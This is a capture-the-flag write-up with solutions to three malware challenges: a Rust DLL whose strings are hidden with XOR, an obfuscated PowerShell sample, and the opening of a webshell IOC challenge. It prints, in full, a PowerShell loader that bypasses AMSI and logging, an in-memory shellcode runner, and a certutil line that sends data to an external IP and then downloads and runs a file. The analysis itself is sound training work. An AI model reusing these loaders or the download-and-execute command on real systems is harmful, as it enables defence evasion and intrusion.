                Access time             : Oct 10, 2023 10:05:12
                NTFS file reference     : MFT entry: 1526, sequence: 1

        Shell item: 4
                Item type               : File entry
                Class type indicator    : 0x31 (File entry: Directory)
                Name                    : System32
                Modification time       : Oct 06, 2023 10:33:34
                File attribute flags    : 0x00000010
                        Is directory (FILE_ATTRIBUTE_DIRECTORY)
        Extension block: 1
                Signature               : 0xbeef0004 (File entry extension)
                Long name               : System32
                Creation time           : Dec 07, 2019 09:03:46
                Access time             : Oct 10, 2023 10:01:02
                NTFS file reference     : MFT entry: 3248, sequence: 1

        Shell item: 5
                Item type               : File entry
                Class type indicator    : 0x32 (File entry: File)
                Name                    : cmd.exe
                Modification time       : Jan 15, 2021 00:55:24
                File attribute flags    : 0x00000020
                        Should be archived (FILE_ATTRIBUTE_ARCHIVE)
        Extension block: 1
                Signature               : 0xbeef0004 (File entry extension)
                Long name               : cmd.exe
                Creation time           : Jan 15, 2021 00:55:24
                Access time             : Oct 10, 2023 10:22:30
                NTFS file reference     : MFT entry: 370565, sequence: 3



Distributed link tracking data:
        Machine identifier              : mattlab
        Droid volume identifier         : 95570634-010b-4716-b3ef-29407f5fb0f7
        Droid file identifier           : 2e58774e-7181-11ec-a4b3-0cdd247bfe6b
        Birth droid volume identifier   : 95570634-010b-4716-b3ef-29407f5fb0f7
        Birth droid file identifier     : 2e58774e-7181-11ec-a4b3-0cdd247bfe6b

Without surprises, it calls rundll32 on the binary ntcheckos.dll.

I opened it with Cutter and under the list of functions it said 21972 Objects… That’s huge !

The DllMain seems to lead to nothing, the function is empty.

After some time I searched for crab (crab is a fork of Rust which was created only with troll in mind) and it greatly reduced the list of functions:

crab functions

The DllMain is calling NtCheckOSInfrastructure whose name was certainly chosen to fool curious eyes.

The first instructions of the function are the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0x1000add0      push r15
0x1000add2      push r14
0x1000add4      push rsi
0x1000add5      push rdi
0x1000add6      push rbx
0x1000add7      sub rsp, 0xd0
0x1000adde      movdqa xmmword [var_c0h], xmm7
0x1000ade7      movdqa xmmword [var_b0h], xmm6
0x1000adf0      mov qword [var_20h], 0x42 ; 'B' ; 66
0x1000adf9      lea rdx, [0x103cd938] ; int64_t arg2
0x1000ae00      lea rsi, str.rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_r ; 0x103cd95b
0x1000ae07      lea rcx, [var_68h] ; int64_t arg1
0x1000ae0c      mov r8d, 0xe       ; 14 ; int64_t arg3
0x1000ae12      mov r9, rsi        ; int64_t arg4
0x1000ae15      call crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14 ; sym.crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14
0x1000ae1a      mov qword [var_20h], 0x42 ; 'B' ; 66
0x1000ae23      lea rdx, [0x103cd946] ; int64_t arg2
0x1000ae2a      lea rcx, [var_80h] ; int64_t arg1
0x1000ae32      mov r8d, 0xa       ; int64_t arg3
0x1000ae38      mov r9, rsi        ; int64_t arg4
0x1000ae3b      call crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14 ; sym.crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14
0x1000ae40      mov ecx, 0x40      ; '@' ; 64 ; int64_t arg1
0x1000ae45      mov edx, 8         ; int64_t arg2
0x1000ae4a      call __rust_alloc  ; sym.__rust_alloc
0x1000ae4f      test rax, rax

First, and it is easy to spot, the binary was made using Rust.

Second, the calling convention is unusual (compared to C binaries on x86_64).

I did some research and found this.

So it seems here that arguments are given with rcx and rdx. rax is still used as the return value.

Now, let’s focus on the call to litcrypt : it seems that the litcrypt library is used to obfuscate strings in the program at compile time.

When the program is executed, strings are decoded using the XOR operation.

Looking at the assembly again, it was clear that the data at 0x103cd938 (and later at 0x103cd946) points to encrypted strings.

However, it doesn’t make sense that the key is at several places on the stack, in what seem uninitialized data.

So it was more obvious that the key address is kept in r9 (taken from rsi) which gives the following key:

1
0x103cd95b          .string "-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-r" ; len=67

In the hex view of Cutter, let’s submit the address 0x103cd938 and get the hex value:

1
405c0b50421f135b5e41420d1d437a3b3c18693724181c41431d06505d13161b480a17

Let’s XOR it again to get the cleartext:

1
2
3
4
5
6
>>> from binascii import unhexlify
>>> c = unhexlify("405c0b50421f135b5e41420d1d437a3b3c18693724181c41431d06505d13161b480a17")
>>> k = "-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-r".encode()
>>> m = "".join([chr(x ^ y) for x, y in zip(c, k)])
>>> print(m)
m.yeomans3080j  ntnotepad.exe

It looks like we took enough data to decode two strings! But those aren’t useful.

If we search for cross-references to the function sym.crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14 (places where that function is called) we see 4 addresses.

The call in the function crab_rave::inject_flag::h5274a20ed59aab7d is very interesting because it is also using a library to send an HTTP request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x1000a204      push r13
0x1000a206      push r12
0x1000a208      push rsi
0x1000a209      push rdi
0x1000a20a      push rbp
0x1000a20b      push rbx
0x1000a20c      sub rsp, 0x418
0x1000a213      mov r12, rcx       ; arg1
0x1000a216      mov qword [s2], rdx ; arg2
0x1000a21b      mov qword [var_78h], r8 ; arg3
0x1000a220      mov qword [lpNumberOfBytesWritten], 0x42 ; 'B' ; 66
0x1000a229      lea rdx, [0x103cd840] ; int64_t arg2
0x1000a230      lea r9, str.rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_r ; 0x103cd95b ; int64_t arg4
0x1000a237      lea rcx, [var_150h] ; int64_t arg1
0x1000a23f      mov r8d, 0x89      ; 137 ; int64_t arg3
0x1000a245      call crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14 ; sym.crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14
0x1000a24a      mov rsi, qword [var_158h]
0x1000a252      mov r8, qword [var_160h] ; int64_t arg3
0x1000a25a      lea rcx, [var_230h] ; int64_t arg1
0x1000a262      mov rdx, rsi       ; int64_t arg2
0x1000a265      call reqwest::blocking::get::h91579b36988f2767 ; sym.reqwest::blocking::get::h91579b36988f2767
0x1000a26a      mov r13, qword [var_230h]
0x1000a272      mov rax, qword [var_2b8h]
0x1000a27a      cmp rax, 3         ; 3

We apply the same XOR key, and we obtain this URL:

1
https://gist.githubusercontent.com/HuskyHacks/8cece878fde615ef8770

The Gist is no more but the user posted another one.

The content is a base64 encoded string:

1
o2WB/eHh3s+SxgR4QUjE9f0yAt4C16oHZvaclKlmBo4K1bsVSbVS2fjxjao/YVUGv7v7Om5xkDjXxARjF6AZalN6pENSgVBQIrYfMq+VeBwwR1whFWRGIC+qulG6HDYmfZt6Va4iljyljxbSnZMrxQwWUXJDhEju2iVzsa1l6nFzoHWO+5+pDV8+sLn3P9jhfZE7qLKVOt7Lm/stSBWZDgzuvqpZziBYo5EumdrISYvWkMm5T2ZD7iRSQaJ3Hr9LUd0nOnfVLW2CyLNmqAM/BKc0f5A9YAoGISmymjc+camULpCiS4WoI8CiyBKOXr5K3CQgx0O9nOn8aS2IU7RreOopH08EGON6DBzkIwbqpC9o28A+wNZsc6cJC0AplIUAafdONBlg/NmcSmkOnPOAR/qhMGMlZKtzEqi4RZDzOfo=

Now, what is doing the code with the response of the HTTP request ?

aes256 decoding

So it takes the content, decode it, then apply some AES256 functions on it.

The method is described here.

First Cipher::new_256 is called with the decryption key which is rAcbUUWWNFlqMbruiYOIsAyVQHS78orv.

Then it needs an IV which is the data at address 0x103cd808 (MoJ8C6O4D3asAApB).

Finally, we need to give the decoded base64 to cipher.cbc_decrypt and we should have the cleartext.

I asked ChatGPT for help to set up a clean Rust project. Here is my source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
extern crate libaes;
use libaes::Cipher;
use base64;

fn main() {
    let my_key = b"rAcbUUWWNFlqMbruiYOIsAyVQHS78orv";
    let iv = b"MoJ8C6O4D3asAApB";

     let base64_encoded = "o2WB/eHh3s+SxgR4QUjE9f0yAt4C16oHZvaclKlmBo4K1bsVSbVS2fjxjao/YVUGv7v7Om5xkDjXxARjF6AZalN6pENSgVBQIrYfMq+VeBwwR1whFWRGIC+qulG6HDYmfZt6Va4iljyljxbSnZMrxQwWUXJDhEju2iVzsa1l6nFzoHWO+5+pDV8+sLn3P9jhfZE7qLKVOt7Lm/stSBWZDgzuvqpZziBYo5EumdrISYvWkMm5T2ZD7iRSQaJ3Hr9LUd0nOnfVLW2CyLNmqAM/BKc0f5A9YAoGISmymjc+camULpCiS4WoI8CiyBKOXr5K3CQgx0O9nOn8aS2IU7RreOopH08EGON6DBzkIwbqpC9o28A+wNZsc6cJC0AplIUAafdONBlg/NmcSmkOnPOAR/qhMGMlZKtzEqi4RZDzOfo=";

    // Decode the base64-encoded string to obtain the ciphertext
    let ciphertext = base64::decode(base64_encoded).expect("Base64 decoding failed");

    // Initialize the AES-256 cipher with the key
    let cipher = Cipher::new_256(my_key);

    // Decrypt the ciphertext
    let decrypted = cipher.cbc_decrypt(iv, &ciphertext[..]);

    let decrypted_string = String::from_utf8_lossy(&decrypted);

    println!("{}", decrypted_string);
}

And it worked!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cargo run     
warning: use of deprecated function `base64::decode`: Use Engine::decode
  --> src/main.rs:12:30
   |
12 |     let ciphertext = base64::decode(base64_encoded).expect("Base64 decoding failed");
   |                              ^^^^^^
   |
   = note: `#[warn(deprecated)]` on by default

warning: `proj` (bin "proj") generated 1 warning
    Finished dev [unoptimized + debuginfo] target(s) in 0.07s
     Running `target/debug/proj`
A�8�u�>LLE9�u�X>D�@$I�f>A�oH�P>�H▒>D�@ I��\H��>A�4�H�M1�H1��A��
                          H>D�@I�>A��H�AXAX^YZAXAYAZH�� AR��XAYZ>H��I���]I��>H���>L��%H1�A�E�V��H1�A��V��flag{225215e04306f6a3c1a59400b054b0df}CONGRATS

Another solution would be to modify the DLL to make it call its own code and obtain the decoded strings and then the flag.

From what I saw, the hard version is the same binary, expect some symbols were removed, meaning the decoding functions doesn’t have a meaningful name anymore.

Hot Of The Press

Description

Oh wow, a malware analyst shared a sample that I read about in the news!

But it looks like they put it in some weird kind of archive…? Anyway, the password should be infected as usual!

Solution

The file is compressed using a not well known archive format:

1
2
$ file hot_off_the_press
hot_off_the_press: UHarc archive data

I chose to rename the file with a .uha extension, but I’m not sure if it is mandatory.

Then I downloaded and ran the UHARC.EXE binary using the Wine emulator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ wine UHARC.EXE x -d2 -pwinfected hot_off_the_press.uha  
002c:err:winediag:getaddrinfo Failed to resolve your host name IP
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005

UHARC 0.6b  -----   high compression multimedia archiver   -----   BETA version
Copyright (c) 1997-2005 by Uwe Herklotz     All rights reserved     01 Oct 2005
****  Freeware for non-commercial use  ****  contact: uwe.herklotz@gmx.de  ****

Processing archive "hot_off_the_press.uha" (created: 02-Oct-2023, 23:24).
0024:fixme:ntdll:NtQuerySystemInformation info_class SYSTEM_PERFORMANCE_INFORMATION
Using password.
Using 1.7 MB for decompression and 50 KB for file buffers.

Extracting 1 file (4918 bytes)
-------------------------------------------------------------------------------
Extracting hot_off_the_press.ps1
-------------------------------------------------------------------------------
Completed successfully (0.0 sec)                                   All files OK

We get a command line running an inline Powershell script.

That kind od behavior is common for Windows penetration as it prevents the malware from touching the disk.

1
C:\Windows\SysWOW64\cmd.exe /c powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c $x_wa3=((''Sc''+''{2}i''+''pt{1}loc{0}Logg''+''in''+''g'')-f''k'',''B'',''r'');If($PSVersionTable.PSVersion.Major -ge 3){ $sw=((''E''+''nable{3}''+''c{''+''1}''+''ip{0}Bloc{2}Logging''+'''')-f''t'',''r'',''k'',''S''); $p8=[Collections.Generic.Dictionary[string,System.Object]]::new(); $gG0=((''Ena''+''ble{2}c{5}i{3}t{''+''4}loc''+''{0}{1}''+''nv''+''o''+''cationLoggi''+''ng'')-f''k'',''I'',''S'',''p'',''B'',''r''); $jXZ4D=[Ref].Assembly.GetType(((''{0}y''+''s''+''tem.{1}a''+''n''+''a{4}ement.A{5}t''+''omati''+''on.{2''+''}ti{3}s'')-f''S'',''M'',''U'',''l'',''g'',''u'')); $plhF=[Ref].Assembly.GetType(((''{''+''6}{''+''5}stem.''+''{''+''3''+''}{9}''+''n{9}{''+''2}ement''+''.{''+''8}{''+''4}t{''+''7''+''}''+''m{9}ti{7}n''+''.''+''{8''+''}''+''m''+''si{0''+''}ti{''+''1}s'')-f''U'',''l'',''g'',''M'',''u'',''y'',''S'',''o'',''A'',''a'')); if ($plhF) { $plhF.GetField(((''''+''a{''+''0}''+''si{4}''+''nit{''+''1}''+''ai''+''l{2}{''+''3}'')-f''m'',''F'',''e'',''d'',''I''),''NonPublic,Static'').SetValue($null,$true); }; $lCj=$jXZ4D.GetField(''cachedGroupPolicySettings'',''NonPublic,Static''); If ($lCj) { $a938=$lCj.GetValue($null); If($a938[$x_wa3]){ $a938[$x_wa3][$sw]=0; $a938[$x_wa3][$gG0]=0; } $p8.Add($gG0,0); $p8.Add($sw,0); $a938[''HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\''+$x_wa3]=$p8; } Else { [Ref].Assembly.GetType(((''S{2}{3}''+''t''+''em''+''.Mana''+''ge''+''ment.{''+''5}{4}to''+''mation.Scr''+''ipt{1}loc{0}'')-f''k'',''B'',''y'',''s'',''u'',''A'')).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sI''+''AIeJ''+''G2UC/+1X''+''bU/jOBD+3l9hrS''+''IlkU{0}''+''VFvb{1}IiFdWqD''+''bPRJKS8vR''+''brUKy''+''TR168TFcQplb//7''+''jfNSygJ73{1}lI94F''+''IVvwyMx4/M''+''7YfT9PYl5TH''+''hH7sku8VUnxd''+''T3gRMTT/ku''+''/fWUSjS3Mzp''+''oX7zCWHxBjby+UR''+''jzwaTw4OWq''+''kQ{1}M''+''u8XW2''+''DtJM{1}''+''omtGI''+''TFM8he5nIGAnbP''+''rOfiSf''+''Cfat2qb8W''+''uPFW{0}rlufP''+''gOzYcaD''+''GTrnvKbeq/''+''SWj0tC/ftXN8U5''+''9Uj2+ST2''+''WGHp/nUiIqgFjuk''+''l+mGrCi/USDN2''+''hvuAJn8rqJY''+''13G9VBn''+''HhTcNHa''+''ChyQMx4''+''kul''+''nZ{0}{1}a''+''AT{1}Wcr0kZyUUMHa''+''tdwX0''+''7CAQkiW6RsTI''+''/nkx+N8bF''+''3{0}00''+''ljS''+''CaieWIPiyD''+''2JFfUiq''+''n704YNC''+''D6QS1+l{0}Q''+''OJyYJoq''+''t+AIM{0}U4Zs8''+''i/MWO4c''+''Fsi91olY1sJpbpS''+''mBYG''+''9Jl1OjxIG''+''eSa+jOO''+''5kl''+''g4pcngl''+''n5UalMy7''+''yJvPq''+''3o6eZs2mX''+''3zgbAHTX6PK''+''{1}Zr''+''qHp''+''GYRBy''+''f2JBdrbGoXIgVz''+''sgGbaNGe/Yf''+''1SmP1UhP1V''+''u0U''+''e8ZDToP''+''JRn0r''+''7tr0pj38q{1}''+''ReTuIjmNI''+''YjtaxF1G/''+''zFPjuWjAl{1}{1}GR''+''7UUc9{1}9Qy8''+''GIDgCB''+''q{1}nFb4qKZ6oHU''+''dUbnSbKWUB''+''CNvHiCb''+''oFQbbfO''+''xMHjJD78QORAhd3''+''sYs''+''1aa4O6''+''CU{0}nb''+''{1}upxdtVFIbz{1}v''+''SSzSTXF7+hbpg8c''+''gsIgdJ7QYs''+''lPJs6r+4K6T''+''Mkl9{0}5Glu''+''Yn5{1}5zFtC''+''0eJ1KkPgYVIbj''+''o{0}8''+''GnHlOIWO''+''QzDaC57''+''tOwnF5/Fo+Wxx''+''juG7S0wnhgj8''+''Kh{0}1Wq''+''CPQ0Swuz2g''+''fZiZYMIpTJjosT5''+''oV4''+''OBS7I''+''8st{0}4RAf8HRc''+''hPkGa+Q''+''KSHZchP''+''D3WdcWmRIhcTDR6''+''GM2fVfnHhy''+''6uTOtAQ''+''UwTGyvTVur''+''qXKfi0+P''+''W8sVI4WAGVwCI''+''lQn''+''AgeNb0{1}ftv{0}Dxjj''+''Q6dlh+/lvbyX''+''9/K/{0}22X+XG''+''vHr''+''RZ0mnV635''+''0N7''+''+6d''+''Pmob8sR''+''bf{0}gc+/2j''+''O6vT''+''ufHt856786''+''dO6lz{1}e5i''+''e302D2/PjuxV''+''tzFMr''+''xqfFqP{0}3nQU3''+''c1G''+''9zXmzq+''+''YGzn4P8b''+''iM7f''+''Rwf85lk''+''4+Nh8w5''+''36Q1Z17P6vn7''+''WP8h1gW2R/n+0''+''m2g8UuZ''+''M{0}M3kN7UYyHh''+''T17M5+aw22''+''ch1+GvZO{0}oc3+bF''+''+FX2jz''+''PmifrIOWvTq''+''nNhse''+''D91Ba+iPwsPD''+''D2ZlPKCx3G1M1{1}W''+''+qwhS''+''RWP+p/''+''2tS+Al6''+''ud4''+''Ipl5DC8H5HTl''+''FX3C''+''xUnB1{0}qcKg3DU''+''{1}x/''+''ASIGhvQYCXR5sd''+''mMcV+RxJzSIUP''+''NeaOisYNO''+''5tVzNZNsBM0''+''H9lh2HRyM''+''0{1}u8{0}{0}O7rH''+''oKcShnVu1ut1ZD''+''7le7q+3htfj6''+''pbX4cm3ktix''+''FHjNwNtZZZt2s''+''0CkxjDfHC9''+''8H{1}unK{0}xB7C''+''Tyce''+''4H0AvlOfukrCJ''+''ucs20A''+''i5Vt8''+''u{1}R''+''fghcHVc/Vq+''+''D{0}FPQxA7''+''c{1}{1}0q/rzFxrX0''+''+uz6TZOnIC8z/AX''+''/mDwPfb8YfVVC1a''+''wcoCfd''+''jzseiN/bIX''+''DpUYmCf''+''aRhDPKHwQtAFB''+''tmK8gqP{0}gbpsWn''+''Hspnq''+''dxx8''+''emlmODf2GZMc5''+''4PA''+''AA='')-f''L'',''E'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"

The interesting part starts with that code:

1
System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sI''+''AIeJ''+''G2UC/+1X''+''bU/jOBD+3l9hrS''+''IlkU{0}''

It takes some base64 encoded data and uncompress it using Gzip.

We also notice the {0} characters that looks like Python’s F-string formatting. And this is exactly what is done at the end :

1
''AA='')-f''L'',''E'')

The -f is used for formatting, meaning L and E will replace {0} and {1} respectively.

Once the string is formatted, base64 decoded and written to a file we can use gunzip to decompress the archive.

We obtain another powershell script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function i5P {
        Param ($cWo8x, $ip)
        $g8lN = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $g8lN.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($g8lN.GetMethod('GetModuleHandle')).Invoke($null, @($cWo8x)))), $ip))
}

function ma1_D {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $m4AK,
                [Parameter(Position = 1)] [Type] $vGu = [Void]
        )

        $fqGV5 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $fqGV5.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $m4AK).SetImplementationFlags('Runtime, Managed')
        $fqGV5.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $vGu, $m4AK).SetImplementationFlags('Runtime, Managed')

        return $fqGV5.CreateType()
}

[Byte[]]$nLQ2k = [System.Convert]::FromBase64String("ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNlcnR1dGlsIC11cmxjYWNoZSAtZiBodHRwOi8vLjEwMy4xNjMuMTg3LjEyOjgwODAvP2VuY29kZWRfZmxhZz0lNjYlNmMlNjElNjclN2IlNjQlNjIlNjYlNjUlMzUlNjYlMzclMzUlMzUlNjElMzglMzklMzglNjMlNjUlMzUlNjYlMzIlMzAlMzglMzglNjIlMzAlMzglMzklMzIlMzglMzUlMzAlNjIlNjYlMzclN2QgJVRFTVAlXGYgJiBzdGFydCAvQiAlVEVNUCVcZg==")
[Uint32]$fal3 = 0
$lc98 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll VirtualAlloc), (ma1_D @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $nLQ2k.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($nLQ2k, 0, $lc98, $nLQ2k.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll VirtualProtect), (ma1_D @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($lc98, [Uint32]$nLQ2k.Length, 0x10, [Ref]$fal3)) -eq $true) {
        $ubOb = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll CreateThread), (ma1_D @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lc98,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll WaitForSingleObject), (ma1_D @([IntPtr], [Int32]))).Invoke($ubOb,0xffffffff) | Out-Null

We notice the base64 code which decode to a system command (I removed a lot of useless whitespaces):

1
2
$ echo "ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNlcnR1dGlsIC11cmxjYWNoZSAtZiBodHRwOi8vLjEwMy4xNjMuMTg3LjEyOjgwODAvP2VuY29kZWRfZmxhZz0lNjYlNmMlNjElNjclN2IlNjQlNjIlNjYlNjUlMzUlNjYlMzclMzUlMzUlNjElMzglMzklMzglNjMlNjUlMzUlNjYlMzIlMzAlMzglMzglNjIlMzAlMzglMzklMzIlMzglMzUlMzAlNjIlNjYlMzclN2QgJVRFTVAlXGYgJiBzdGFydCAvQiAlVEVNUCVcZg==" | base64 -d
                    certutil -urlcache -f http://.103.163.187.12:8080/?encoded_flag=%66%6c%61%67%7b%64%62%66%65%35%66%37%35%35%61%38%39%38%63%65%35%66%32%30%38%38%62%30%38%39%32%38%35%30%62%66%37%7d %TEMP%\f & start /B %TEMP%\f

Finally, we can urldecode the encoded flag:

1
2
3
4
5
6
7
$ python3
Python 3.9.1 (default, Oct 13 2021, 17:37:58)
[GCC 7.5.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
f>>> from urllib.parse import unquote
>>> unquote("%66%6c%61%67%7b%64%62%66%65%35%66%37%35%35%61%38%39%38%63%65%35%66%32%30%38%38%62%30%38%39%32%38%35%30%62%66%37%7d")
'flag{dbfe5f755a898ce5f2088b0892850bf7}'

HumanTwo

Description

During the MOVEit Transfer exploitation, there were tons of “indicators of compromise” hashes available for the human2.aspx webshell! We collected a lot of them, but they all look very similar… except for very minor differences. Can you find an oddity?

Solution

We have a ZIP file which contains 1000 files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ file human2.aspx_iocs.zip
human2.aspx_iocs.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip -l human2.aspx_iocs.zip 
Archive:  human2.aspx_iocs.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     7530  2023-09-14 04:49   ea0d98c023fb788809906e2d670e98d76d6f42b0efd76611ec698044876e5f3a
     7530  2023-09-14 04:49   f5983c8f11f4364774511065c11b23f9fcd46f2ddb23a88b8097cda816ef84a3
     7530  2023-09-14 04:49   4418fa01c8088d7176342225b0788c9ff74950624aed38aa210f90777765a3bf
     7530  2023-09-14 04:49   ca0acc9e4ec8e1d382e73573f05eefc81c33d5839ab0ab97c592d754714f8868
     7530  2023-09-14 04:49   d61a4cb986e07aec1923bc76585d27e452f49adc0eeee1bcb43f1271317c203d
     7530  2023-09-14 04:49   fa0041616061ecfafca58a07a3c57f0dc45a5d027e53e12620f0bf5c0eb7447c
     7530  2023-09-14 04:49   0d0b0d7f24427ffd16e287a00d62491b2496ce948b3aa1dd4bf1559ac15297fe
     7530  2023-09-14 04:49   b307ce00b04d5e3184e1fb44ab52a007f5f19f43a1884252eee04000c33efe32
     7530  2023-09-14 04:49   a7dd3eac36b8d01cdf9e35c22c26437589c830486d5099273078cd61b108ebe8
--- snip ---
